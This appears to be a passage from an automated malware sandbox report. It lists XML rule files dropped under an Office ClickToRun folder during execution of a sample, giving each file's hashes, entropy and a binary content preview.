Preview:	<?xml...4..]...j,"..O.6n.9.........y.....F..,.}...d.^.I..9..#..}....l...&..].%.Z..%.Q.F.xw.H.d.m........])...'>Ba.Q.$.....z7.Z.....V..&.....k...s...k{.\|x..0..R..HQ..C..."2U..D..........k.O.h....(..7..n2.3%.Y9.OH..().O.zt9.2.....).e...eL..{..V%"..\|...8o}.L...x;N[.I3y_.C.......s....k>3....)....C6...L..W....4.. ..]:....S..0.gH.]=u.~....u.;{....j...l.....{_.oK.UWAC.a..py......}.#c......u....}....q.;0.<.y.^..b._mgr....JVN..}.@.Q3..2...^..l.''.......G..Q..Q...>x.$.#..........g.=.Q..>.47i.B.2.zSK.F....Bp.TgK...t...<......h......DH_.>U..t5..]......vlY;..+....n&.....qJU.8-...[%...>.r.M.'.......]...Aw.l.jp`..k.C.-z..>@.....=...y?..p..q(..9"d.d..!.N7:N....9g...@5...pz..)4cX...dO_U=.....?..^.......?p.....FE$.Rtl.}.\|]...i..........d;.1..X...r..cD....U/%...v...I.@...TE-b.=Z.161..5.'.?...yH.S.....(..V..;1..o.y.............],k..o..W.Nv.....&.u.-vW...7....0J.0.?t..x........7..3...@....%A...n.!s....g-..T:N?... ....`@.t..s..tOr.a..u9.oe*o\..7#.szA....C..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.784399106328099
Encrypted:	false
SSDEEP:	24:imJJHaXmfQqsFSHMtRg1yXrf086SfWNYZJuomsbD:imP624VF8MHg4bXfW2ZJuhmD
MD5:	8A5A0FE870745F5D82392177C8AFA2EE
SHA1:	3EA45DE51DB496057D5B078055F06987033032CE
SHA-256:	105D8ADE5B3B1F17ED3E5FA9DD46C5F56F0A8B8B91C14370CBBE3CAE4B86616C
SHA-512:	0B7A83B73069A047A270C0DE56DF10CBE8C94CE343CB6393C679F4F198044244AEB025236892F8FD424216AEA24F40489F7EF6FD1CFC4AAA13516FFFBC46ACD1
Malicious:	false
Preview:	<?xml.....>.z...o...Nm.?...^,.l.g?^s..P.V........-.#.X#...^\|nlYF:.{..w..%....{n......_c..]..l.0ub.p.3....{s..x..x-.D.K{.p`.r...i..q.....3.H.)..wG.w.....w.Q...V...F#..P..m....].A.N.\).e........./..4..%..}.)O.>N8(....2.X..C..m_..~....A.x.....2..br....%n~..v.. R. /...cKW1....].H....f.........6-....".@OrRPg.Kec?..WZ~..X......'.j.T5.......Cw.).\|..B.....6XT.w.@.......\|.....V.r.h.....g.p.....[SC....@......>.S...Q.<..V.<.......w. ...M..$.f.r..]?z.a~y...=e......QO.....f(...G..?.\|l..zg....z..Y......;...- ...G.t@@&.t.....#do?.q.,.-.Y.//..2DD$..\uf7...Yob....yCz.4...t-=.hA.....NZ4.\|.Kr5.....D....}.v..;.....d....;.......>.?[..4. ].U,.?..O._..+N...~..,..x.;..K....R.jg....?....~..^.n..y..4..........)....3.3.~.c...cn.r.KF....-.{..K.^.y..A.=G..<....{...&I/I.n.nq.>..^..?...\?.R.0........B.Z.]..J.BA.am.:....[.j@.....m....@T.I0Y...n...I@....<.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.942471612114389
Encrypted:	false
SSDEEP:	48:njkOiZRp/mKQY3nI3tHa/ZH7ao3wl+NK+StdPt0bu6TlRZtT0d8nj1TmD:n/i8KQYut6xH2YHSLutV00pT+
MD5:	5F42117981F0A913AD55085D264F3DF9
SHA1:	385047B32BCAA35504B226140291924A7BB38B8C
SHA-256:	9851AE0D5A7E098800582D982F13332286B98CAD260E51D59018F88B301C2D9E
SHA-512:	7EA22E86AF0A515D1108A97F0735189CAE99131DC80E3C2BB90EBC522B2E6559AC2DB62DB500BC872D9A10C94DFAB0DE1019A2F78F27C0AE5C8585BC15A15820
Malicious:	false
Preview:	<?xml.YM.....k....h.D....z..x..I...Wm.....{..j.......K..!.biT%v$K..{C..n..i......j..........w.!8\J.l8....../i..,...F..W....q.\.B.j.....b.`.....%.%...c.... .%....&...d&Q;6..n....fg8M.bw\.W.......#l.).]...gN.....m>.:.ZP....G..0...\Y......9...s.9..~.._z....?.......g.{.0..@.tB.so.....:bR&9.S_.....%.[b....0W..J./..u...R..FWtX.t..v.........cx...j..1o...q.(..8w..#./..h.:.@....(]:{.S..D..t.........5>..E;1..uM..&..`.B`0.....x.;..U...X....JM,.8r.....mU.. .g.L9.Z..x..@...Zp...1.9.~...c"A7.?...C.\|=v).yl..W.8.q..C......<...g9#u...x"U......MN.?.m.-J....n.AD.J....X.L..9.q....d..\.C.e...h.XOg..c.&......,$..w...S1.T....#..@.Y.o(+...P3.....l..X........A6.^`..Ev(....Pv.~C.9...5....+F!...[.R...aq....G...(.(..N...7....yVBI.{3_.....7}....H..8i.....h..q..h...O#.K.d.B8?.u..F.....jE..S.tB.....l.P.c#L...(....7F....VX..9..g?.Q...s..5-V$..'1..A........y_[......i...a.J."O...A......N~..%..I...".....~..@d..Dv.....t.;.UR..0#K.}..V\.G.....dc......3.r.l..*.O.e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.907155920928288
Encrypted:	false
SSDEEP:	48:WYnGoc5pr5sWLVtiuH7X9D5ure2hJyt/jdETRwLIQEj1WjmD:WYQ5J5hMsD9DkreTt/jKTRwL9O1Wj+
MD5:	7ED634C12D66A4BF21EC290E87A5789E
SHA1:	B7E97078EA9DE5DF0DC62063CB320C3B2C33FF01
SHA-256:	BD115B5A72F9C9FC37E43D125B014E42F833C44F131F89B14EAA30FAA0FACD3B
SHA-512:	7F76A9E21484A44F4210D04EFA7C10A83AAA557AC9AC55AB1F93DF5A5D9E7EF66B99234CF4C9AE1DBFB85C8D2D83A68A5E97F8752E7E30A1A97BBC053B6BDC25
Malicious:	false
Preview:	<?xmlF......!.a...r..3{hUN.....%t P..;.L9.......!..mGk.7U....d....:.>..%xE...<.u.m.7'K..0..@...m'20%He.g..n.}Nu...j.b..g.r.b..I.....Y..q..k....V..#f.;A .>.%...=R....+.Noks...n.k...-...h`.e....5..;7...._z...C..4.AL.J\|..K..+.j..G...x2g.u5....l.6.k.#,.....Rq.....q....HNN7.w\}.f..~q...O......61...~1.z.:.0..C.3<8....f.......d:...`.g.[+$...$.oxaF.uQq7.Y.....y._..L.}"#G.2....f.....T....&0.J.!TL..I......G\|.-......U.G.T.bi.$.X..Dn5......E.N.Zb>...:.9......C.>...21.O).OgX..].......K.{....r@.o.E.Q+...Y`\.2S...6.A......c.../g`.#.o.6..05...$.. GV1.5..o..+8......p]\b2..^...m.x2\...~.............IE{.....j..~.'.....].O.L.'!...@....-k..x.<......;u...........b.$g...+....]...8.H.o...+;;......:fe6}.P"\..^...:...E/.H.I..B.... .r.$./...L=.T.'.i.yKr.=.nz.n7w_.....kBRw..5.6\|..w.A.J...#'.l..j.8..F.se.N.t.{.\-..ql.*..bK}..lV..W...U....N.o.{........%1i>./]I8...L.V6.w..&l.!....q.a......-.i@.1..(.'@........F.....k.,%..'f.V..K.NQ....W,.K...t=.2.jH<....C.Nl.....{..b;..7.1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.939298009589173
Encrypted:	false
SSDEEP:	96:4rwq8iTJd4OW3GFv7DQAyV4LCJlmUo51eK+:fq8MsEnQv4LCJkUo1+
MD5:	46FF9725F38D8A988EEF4E97AA3D507A
SHA1:	185B933565ACD37461778D330E31359367109C84
SHA-256:	5146F605171E8B287729841FBF0B7AC314543724D25C2A60D77973846D3D4AC2
SHA-512:	01368FF42D4BC43D320A97DEAD230E79A2F0C1BD1E57FCB76D42DBD55DFAE27217E2E3F0B752EB70C8CA59AAB83562B7136011A7C967D6940A1CDD30946D61C7
Malicious:	false
Preview:	<?xml.'Q.Hz.. .UP..u...7JNB......8#..@"........%......}......U...S.:.6..F&..}0s./ ...A.K..jS."..Uzlfoy.<....Ftp ..........p/2~.....cN..@~.q?....1sf..+Z&.IM..Ny.1..Q..r.d..?g..1..a.hw...m_..V;.O.a.D". <.9.Af.._WjR.y......c.".e.h_..{0.['.g..I..d.g.S.v{..J..}I..)..3.d......=. zJ.~........V..!V.G.:._.L..l;.m...J.g.o.r....2o...y.........5.a.K.... ..8SD..bB.z.b1......P'......_.0..x...?qy.\....@..U....C..$&.~1.K..r.....F.DJ...z$R..]..v.=..$..Xt..,(..!.X..ZlFJE%...N..=..z.0.l_...S..I..."d.n&.x.&.3N....0..t..L<.o,...".).P.,+...y...".....D..~....x_h.r.H..i....1!..'...xt6...4.I;.~=..Z.8.....(.7w>.A.........=)w.u...Q.7...5.,...XF..X.:.....-&.G.>..Dcu."&l'?.g.e.d$....P}l.C7m........CW.d.=.q..\|...".~...HV.8w.y..X...}>.:....=.j.....$.j~...a..MPg5.n...<(B.MR.....lb...X.../H.F.X/.U..4eE..\..l=....cv ..Y...YRN..a0.V..,.K..^R..s.b........BA.....t6o.t?@>......z..P.pC.....G...R\|..t..G.]i:a....4.....6.E....f.O.-.Q....Y..c..p...X..)J>z:~....4U~...0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11770v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4968
Entropy (8bit):	7.962740175857819
Encrypted:	false
SSDEEP:	96:gnPYI43OCe7R4GLJI/jmgDvKVL7lJ0UzbDeR3oBpXUsV7+:APs+CHG8/Di1xzXBpFh+
MD5:	542E1BF5202F7165E5D2D99894E8D669
SHA1:	B1EFEB37A6795C92F3212E4354AEC14AC0A1E268
SHA-256:	603920AC1D0B67FD72AC69D10ACEBDEC08FA8E2EDFC49D412200E372080570D1
SHA-512:	15C8B10300D7BF11D6455972A7BDC8F763B484A9114142AF26F99E345D4BDD32BF6914089025A2D068DADCA043BA878966FC09CCB957D515173644FAE31DF094
Malicious:	false
Preview:	<?xmld/4.&&.eX.={.L&U....w.....35a).O....U.v@"......#.5G.......We=N.%.....`G.5..C..&.....O..;....3..dH..!..0h....i..x...,.I3.~..a.u.....,.#~.a+r..n.../<.5.}.xC......I9<..}..wW..\...W.A._.w.RhI....i..K..g......vo..o.aw.(......o1%.V.Pk.,..[.X.V&....Zp.D?.d.....p.4..I..9..+........3.S..\T.n....s...M...VY>.m.....8..B....Z..+.O.U....9.W)..8.0>[........:ni..=.}...1]..6~..K.5...S...9....nU..L.....N....2.J....CpAs..56.OX....$.1k..h....?.9...#.........,Z...Jm...p.*...".(O..r.X.c........x...'9..........il@.y.2.MV]E...t..tR2r..y!.sE..mU"tb...#.(..,]t.....c....@.R[....2.x...T.mE..z.~. :q...V....Q^8....%.e.....LB.w.....w.+.V....1.P\|G.....So..dC..#R.....Q.../.d....cw(g.jx...7G...%..+K..eT....e.........7wyO...kE...~4.w......w...N...Y.A.j..<.x...G.x...#C.k>.!.A....n....BL%..a.<..a...&vL...3...G}....W.n...w..^....V?.b.Q..0\|B,..^.\|.i.=.....].....n3U..9.L.R.b.\|..h...].7.. z...T;^D/......N.xigm.P.pJ.........,u...+..Z.u.3.<g\|.l...Q..k....O...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11771v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7596
Entropy (8bit):	7.972523947107749
Encrypted:	false
SSDEEP:	192:5DcO/soYfUoS02ANpts+0hlU/ikq64cqMX+O4GnV+:pcrfUnlANjFOUvP4c4/
MD5:	2A854622CD1CA1D6714192935060BF16
SHA1:	E5F9A8C2A509CCC1633CEE01BFA15429B3CD0FE6
SHA-256:	88C54371D41D99AFDFC9D31F625C5D34331CAC85F5E57657534629BE98ED1382
SHA-512:	63072A8C6F2F4B90CC482D9E470FB175FFC56B531ED62E50845E13D9444CADAC7BF486337ABFD3961F8B5AB49581435C9CDA65A7258D16D7CE386E74F8FE185C
Malicious:	false
Preview:	<?xml.rO.9:h..iF...'!.\@.....i....1...N61....2.T..2t.....R.......O..7..4.$WX.5.......%Zp.\.$......#...R.......l..A....@..=A.o.{F88...D...w9.qk".$..V....(.1/.~........{.:P.....7.^D.8"`...._4........>;.l.."7Q....AZ..pC`.e.TUB.....`Y..&\|0b\|.-.Wu..V.,C.......b.F..........r<...+D.}^.C%..R.u.YX..(Qw.\|...h6.Q/.&.gO}.6.{..,"P/I.0.S[.Y0[.L].A.o>.5yr..e..OG.$k?...x.......w..W.%=.'mB...7........k......O._.~.#{R.. ...!..,..>.....L.Qht..[8^g&......0.....3.....aXM[.T...c...k.`.j{.....1....X1.B... "F...).....b....q...9...7E..U..?..P\N... .`...L2...z.<9J...hS...:...`H..psJxX..../.G.....0.....v.g....;....1(.........#.8.......5.:}o:....Z../...#i...}..o'.....2...2.Ih3....'.$#..}...<.F...S ...Zf"...?G.].7.~..2.<........o..;..4..NJ,.ya..._.Ij....[\|N.....Ee.Q.Pq...7e.E..#..t5.0<&.%..+.....~....]k...I{j.Sx......6.4....l..-c......]s)_.....o..i......G&X-..K[.*h....xZ....7..L'J.......\.l.%T...\|....!..9\5.~e+..K...........XG..g..t....q..i...6 .'K.qi....5IQ...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11792v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	7356
Entropy (8bit):	7.974512681013628
Encrypted:	false
SSDEEP:	96:wQcLSFfFTmGU/2rzmjmAtGmq+BO8V67LdohGFHax5l5PMMoZ7NwSlwr7eUU/u+:EGFd7U+8HHbV67LihGKNMMo4XSu+
MD5:	F70AF34FC24131AAC850317E561DD167
SHA1:	583C4D97B94C8CAF9A179B2D49A6DFB0CD6F0256
SHA-256:	8DF88854CFAF6A4CDD626FDCABEF2CA17ABE283297B42CC13935AFCF4A17801C
SHA-512:	15E9EBEEC41828C217AA52004D5B95725ABFABCE119431FB8EEE114766C985D047A2902A6736FACAB682523627BF1ED42E8DF925FC3DEFAF9EE809790D8517E4
Malicious:	false
Preview:	<?xml....V;..M.hr..$(]p..... .-. M=..c....Z....k.gx.^.~.......ZQ.\|..x... .P.[\.~............M....H.X=aMFd..z...}W$.A......-.Vu......_..;.......{.O.....9r!.. \|..N......+...(R...1)~.....R....cd....%?>.../.X....(.[....}0.5.6....S...+...J....c.`...z......aN ...f..r.........}S.P.B.&...~...5.....F...rw+..W....i.....8..i6.....Mib...&..rxYv..N....;.;............x.?.-Yu..M....>OQ.....Esm...h...5..b.L. .Qk...K..a..........^wj4.....Y..j{2..a:.:...wR....<!.Ap..L[.\.y..g.#.A..K.o...U^..V..iY-w.2&.7.t......>..k(.. KZ.kN.{.5.L..]Q.P.....q.....'..p...5..{3M3....%.5.5..&.L..;.HC4..X..P,C.....:.^.o..)@....t..........A.m.\&>...=.v..!.7S6.X......e.4..Nx.../.?1.."..;M) .k.o.N-.48..e>...s.U!...YG.B#.......P..kAX.....FAn.(."^.j......}....A....C.. .x..k.&..e.DE...b`..NZ.$K.L..K.#..:....!z....>..4.T."dHdlHde[h...9..9S.%T....#.1..}x.1l...'..[#....z.BM.Y7!$v]...`.<....~.E......(......4......3....KN...Qk.C.5.mZ....1L...L..h.-L....e...j...a.v`. .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11793v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1551
Entropy (8bit):	7.881099195293632
Encrypted:	false
SSDEEP:	48:UHHhwMWA4RR2N7aI5PnpG1eQu81K1w3Pu/CfmD:UHHh9WRR2BaI5PnpGIzSK+3PTf+
MD5:	75BCAB7555BEA85A2DC6C217AEC61231
SHA1:	D05EFD205114D7E0E16276FC15CE145C7EB08FC9
SHA-256:	D60A51014F71EA65B0DAD6BE809960FF311A526295535E668C56756403B41400
SHA-512:	4C56109C766E6A9C56C6BD69338150A2BD5AB3B36FD9F1EA09529806E04A35E982ADD767B7BBBC2F00E6FC398179171699FF2522F19C0207AFEA50A5EEA20B9C
Malicious:	false
Preview:	<?xml..S..2.&U.!.....[.d.v.]....a....X.h..$..0.i.....>4...$d.........M.<..... .W.cmX?cc.J.`....e.8(.}.......-H.].Q..).+.F..<.(..Gm.\|sS....jG...!....k..Z...X.[.HK6v;.....q.>.....R...'QX]......x.}...D..K........b.Ra.H..50...+Q.}...si_%.,+.I}d.\......w..v..'._<;f....#/....F6.}..k...B&T...&\.....d...\|r#...r.:.L\....,{.1..:d..]..Kz......./.....H...X...,M.J.........(...\Q.=...^x.....H".Q=.b<..@b..+.....G.C.....@..c...,..hc\|{^d..9.A.N?...4-.Ro...X{.N....M!...B....n2....<VN..{1t...p.....t^...d.N.;<.>./..@........+.J..v.6q.B6];S....p.u.L8..R..pA.....E.:[lKU.....,..y.ME..}./.Xd.Y/.y.=..-T...r.w0.\...U..P.K..P.=xSq....S.s..............8.uaU..d~w.p..CY(.l..C1X@</....Wb".q..w.5..>P..cm.....J..iS.n..DTQR3..w.$j'.O2.F.)hM.<\......7.L6#.H.$#.-3.J\....I...&....@.........Cx..L.lW.....O-_9...].....U.j..\4.ze.`..s4....R....b-\|.....Ik.~.P..?..eV..zp.!.qV0.s...N.W......l...$..^K.Pr....*..4n.......B.W..UP[G...8;r....1.....+....=...N.u!...D+Wh.^.M..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11794v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.897676375012955
Encrypted:	false
SSDEEP:	48:+p9nddp6HASOQ14pQhbHAH+ImPu3uyMBsJmD:Y72O3iS2tsJ+
MD5:	FF1BCBB34793A129FDEFC8F30081A3E4
SHA1:	9674B7BDEB8CFC6431E30D249FB1128D695D1874
SHA-256:	82110674F1E879C70EFF6C7446A13180BE4862CDC07C82021D4D2D217EC224DC
SHA-512:	5272CFDFDED43AABF34BFE2A5FAB22E89B8CC1622E51FD6FB89366AB2E91D6A8FE9EB9AFED45DF8B84FE522116708933CB9C76E22DB7008AAB587989312A91AA
Malicious:	false
Preview:	<?xml.F.!.~....o...X.dU.p.\|J..Q0...r.19.x.I.e-.g..#r..DV.\2....<(8dM!3..A@.Q'H. .....$W....@.O....'.u\..r..7<..%0.@...5....?..Q..Zz..w.`..N....O.?.A.2....C...O.!..\{.....#6.U.h.......p.{...H..:..9k_...4].{.`.EB..=.....\....d.at..>.}W.....1o.)...-..m...XC4.(.c.#...&..E.Bp.R.\|...:.p...FNM\|.`.#....zn...XYy.....M..4.~..Py.-..n0..U. F=.fk..B.db..r$.Y..Y.._.....]."....ej%......o.I\|...na'.t?..3\|.yD./...+..........p.E..........~=...H....v..w....{D....C.r..Zm....J.-.QpN.:..x23...f.h..\|^..kt....S...H.p.dz4..H8:.~..C.?.....oJk!T.j.HI.I...rf..0n..3.).x>.=.c3.....o.5\|j..d.4..^..M.1...PF.l..............Xb..N...........d.."........).O.W..h._......M.\|.0.....JO..".'..$]....=....\|q....0...\|qf.d;b..!..E...`...5.pG...[..{t...-.b.V+3:_t..oH.y.c.~..0.$>.b.R@=...[.zi..........'-.../}..G.,...~.L..0r#.V.2...)...H.<h..I.C....9...gY.Z..p@.V.........Va....J.C...N5..1..,.+G....../...9T_-......Rh.....iu.........n.c.....zT3..p.....@......s.'.R..G..I..sV.Gt

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11834v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.881270886303547
Encrypted:	false
SSDEEP:	48:jBCQ27e36X9iOFfHZLcJDAK9FarJ0S8Hy14ES+T4EKN5aoZmD:jcJaqw4ZLcJDF9I18HyS8FKNdZ+
MD5:	5F9F3BABD83103AB85DB01D285A7CE41
SHA1:	721027DE64381AFF5D3209B740FCFA88D4957989
SHA-256:	3775B254CE6355D4E5D2F0566A0CCE5655A042D065FF240109DA924CCB2F46FE
SHA-512:	BA21052E3BE06D38BE3871B558063137BFC1670D4CC2E0151251F9A8482C40618D09BE5425E0B5C82F6B55F33E989619E82912B46A55FE499172DB6C94F86E27
Malicious:	false
Preview:	<?xml.....%..<.........Uy...c$'.89IO.#HO........F0.!..3.N.i..=.5.HZUZ.w......&..<I'.#....6..\.c......G.7...$.ab...O/..6g...&t.5G'....,.,.m`..!.e/.d.....).#.m......Q"...%..m@...Q..4yj6.Me...#~....../..{s........It...F.......ZN........a.E.....k..z..q...G.I.a2!..tW....X...Q...C...C^D.`0..u...z..,9.b7v..e.z.....+T.a7e..`......-.../.....X...).u!...JIR;7Z.q g.(..y3.:C.1...a}.>....>.`.<.S...,Y.W.Tz.n!X2.$...)..).5{..O..."9..)....!a......BPj..(m..#...(.a...Tw.W.C..."{<....c..d,.f.......J.....d..;.+l&.8.3..L..9.....D).......?..L..H...>.~...;Lm.-.....%I..]_..PX..Of"\,9..Nq.mF.e.y....+."..u.E._...k52....?8...esK..5.D.{..j.k..o....2...jf.j........'...Sl.l....d..(....t....a.._.....oW.<.r.n..A.._c..J.M.8....h.`..C4.LI7..6.....0B.[..t.r...^R..j.......LU......vV...QK..fN~...B4...g..a#...5"=O`OA...]S....!.>....RD.g.m2A.r.V..H..j2.......=C.......=.)@.vh..............T..-g...~..v..0.S.x.K........?....H...4.~._.Jtt>.J{..hT....:..?...h....y.R.Cxe..I..N'...?c..h..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11882v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1448
Entropy (8bit):	7.862920381236009
Encrypted:	false
SSDEEP:	24:ShF97Mezz5HyqnOY7ZJtS0pvCdwO5VRrfb+M9yBoEJ69u1jytGyiidQs1UG4kqV3:4XX5HyqnOYVBv4VRrfb+DJpjeigQs1iF
MD5:	A6889FF29B180F9C9AC5C19E5B3C9224
SHA1:	2E9E837295DF7ADF5207A27E8E33BD2AF4F29DF7
SHA-256:	D913445BAAD76E6F3981371DD51F928DED49B087F58D807251AAC5E86A96DE23
SHA-512:	DDB9039D3FA3C3B6C64AE752DF75C2B4125E315EEA1ABF3BF081451F7F49C66D28F1B7154B8D56824A3211AEE7B0A3E9DC3F8BDE36E05BF16B054B82A5C22F3D
Malicious:	false
Preview:	<?xml.....n..vS...,...r...s....b.}+..^.R6)..Q..../b2...jg...R..uS....Db.5>/w.Y..4[.....#&.9;..!h.g.o~..h.%..#Y6..G..Q.....v.&."&a.>..."G...zG)..n..f......n=..A........e9...).9?....F.#.....TQ.xS.>1.....h+..O1(1u...w.Ce.X..NJ..dX..b>..U>..?...'....G.;....?2..R.]/.{..mUB...e...W&.e..w....`t.....XCWe.Y.r...Z.J........PG{..........;zAj...9n...`......j(xY.,....@.....{n..@.6.e.ZR....^.....kN.....h:.mh.Q*...J.x.....{9...y.A...fa....E$..J...u\..g.n..:.$I.y.."....\|".........\|.......s? o.b......H.dK.: hJ...;.....K..D,....Qm......a.T.....,. o.X.U.t.E........E..p..._...B..r=..Mi}.".m.O....<..n"....J.\...#<..F6..W.1.Y.).....-.. ....c.+.P.M,Av.....H'.......od%.}?../#6.GsY...u.p......g...F<.yg.E...x.\|.o..<).E.~$.....h.E.5^fw..5..u.t..3.f.......%X.BY...?`...sTf<...[2..-A..M...#\...9..@..)......{A..b.F..M..+....u.rcNTG.a_.........D.....h....W..TF.X.r.....o...p.........Ty.w..8.h..w.2..e.D..RS...\|.....\....J39.].eD..5..........e8.]...?\|..r...=h......1...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.855936880327648
Encrypted:	false
SSDEEP:	24:iSkXfxgl0+zZihKnKKH2bmcnBnKs/PUpWiZOlxvhtDKKUNao+y72vF8E33+HUXeP:lkXfKz7J2b7Ks/8kpbne/NaHyWGm++HI
MD5:	95708936B0165E135A2B797098347B7E
SHA1:	D34EC97EEB855C4F3DCD821FF0277BF9F149D300
SHA-256:	2A2D2C4A25DE321EA397599FE995E54B88AC68A468B3606B94F16FBF19B07179
SHA-512:	374721E5CEDF0620FDD18BE46014BC636B2AC089131D4D4F6613303C51CC6E305DF936CE9D27BB8976727DC3A1C748E02156E7BF392731E4C0BEC6AE5159F5DD
Malicious:	false
Preview:	<?xml.(m..fJ......ds.eu...E..L...f_.{.6..gV.\|....M=H.gp...u5`.&..{-}N.eD.......ecm.@....F..5S....>.{....L.JF!....#.......=r&&.A.w...pbW..la&.D..M].B.).S.... ...O.A.Oy.L.mN...'h...n...Vzu..9J.v2.7..36..L.u.p.<..Q.kG.-{.R...U....@.5!+.#4.W.w...j.^8.5....@G......yF.....N.B`...S.l.....)..3.\gf.5.....6..6....I>.'Z."k).4....Hn....Qy..h....hV.....u.,...q.`@.h.......v..p..D/.eA.!....o...'.d.... .2].A..@.\9^.U.F.p.jJ....M`z.J.r..H%.....i...k.c..b.#.....!!.w.<...J9..0.U..&....................]\|.F.0..o.yW...+..B..l......m7.~?........'.d.rS..6.(.\|....`.B....\|......$...KK"......@9.`...%qs.6{.8..:`.5..jV..+V......lw...fo!L9..$L...l.........6...+$S..cV..&.$+.`..1/...i.F....H.R..'uq.6.....B4..u(.....#.......c.z.I.#..\.T..!.......j.@(..g.....T:.p.O3.{.ITX_-.P.a..Z.v.\|..M..z...@.h.\.R..L.?......U.~..I.u.......w?.\28V.........6..8......G0.d.zF..N..Nzz...$.....P....1.V'..,.(.@_.K.4[.;..Yj\|....$B....b..#....q....b/t.a.....5......h.LW..."...'.<V9..o\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.875547260918902
Encrypted:	false
SSDEEP:	24:Wje6Nf0H/q0L/PRWXB4ZE7Z86kWNpLxUBQ+sPx0pZDaVvTIxfmCsbD:WpudbPRWR4ZEWxELxisx0pZDaVNCmD
MD5:	3586C4A47C413682DE99760D94A6F004
SHA1:	DFCDF14A02F8FF0C2C1B08E64EDC04B5315E5732
SHA-256:	5F21AFCDEF409866C200746A47855E1140D87E4DA47CBA32408E6722514A09B6
SHA-512:	D3B110007275EE2BCFB948CDA2D03254E77718B1D73C54CFAA3CFFB38F1BB4A1D5008298522E99605DD70085902516456A40E09E6999539E312FCBDA0F09720F
Malicious:	false
Preview:	<?xml....I..q../.\|..y....-d!..%..fl,.......R..1....)#...2.Hp..'.ur.M........O.../..>.#.pnN..r......!...~..'pXR.... j.%..P/q`\|_.xr.KG~y..].&...X!Jd.h....VH..[N..E?.Sh....4....f..G.+."..s..........>.o.&o.gw..X.wc&..7..T........lyq<.l\...s1a........g............`...........v+..0lw\|0&0.3....J.....;.z..c.t.....C8..Y......cO.32......H.<.J..G.._.y.N....f./..)z.YO..2...$O..(N\|E...i.t.;.0..o...\|\|c.^.q..i....xTw.[V.j..m.3........k`&Cw.^...^.....#..%....j...c......]WB...R.....7..ZE...s..M.c..i....{<......:ZJB3..1.=..H..y...q`.v..8Q.\...a5..J...G.0.]X.uz.)..r.6 ....;M.J.\|...l.."kv.8{eq.m.%..A..r.w..A..Iz....C.mT..{Gi...A9.>...Fn..M..Z.D'p.2o,.7.....~..s..{...~...R.B..j:..L...9D).}..H...#..j.`...6.B".y..y.....9.z]..dt{...X.4S..X....(....w..V~.h..U...L.@'....., .O.w.~.5......9........a..=xm....N.l.B.c.z[..cN.Bu..g..b...C.+..._.#...bEK..w....\|... ..x\.....%.[........i.4...P...A..[..<.1<.~......4zjU.D.?..-...WW..KS..e...j.T..@i..S.r.8.J>.....a>r.7A.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.730943481082394
Encrypted:	false
SSDEEP:	24:lCOqMJsMRfZ8sBpTvXyQrKbUNE33rusbD:lCOqSZ8sBtp8rumD
MD5:	FDF99AB7A2F2C630C014D8615C794CFC
SHA1:	DBB8F4ED0D4A37E0F312002CD4634BC5DC32DA3B
SHA-256:	B6100AEDC5098B93A7E1885FA3060CF40BC1710FEDC596D9065F8E13C831320A
SHA-512:	0CC9B6A78C24C613BA5EF3F5FB40DFF4474434AAB878271B4891DC07BE4915DAB2FB7F7B314CDF8A99137D1775F72220B05DC4D8FF970DAD6E35617747B982D7
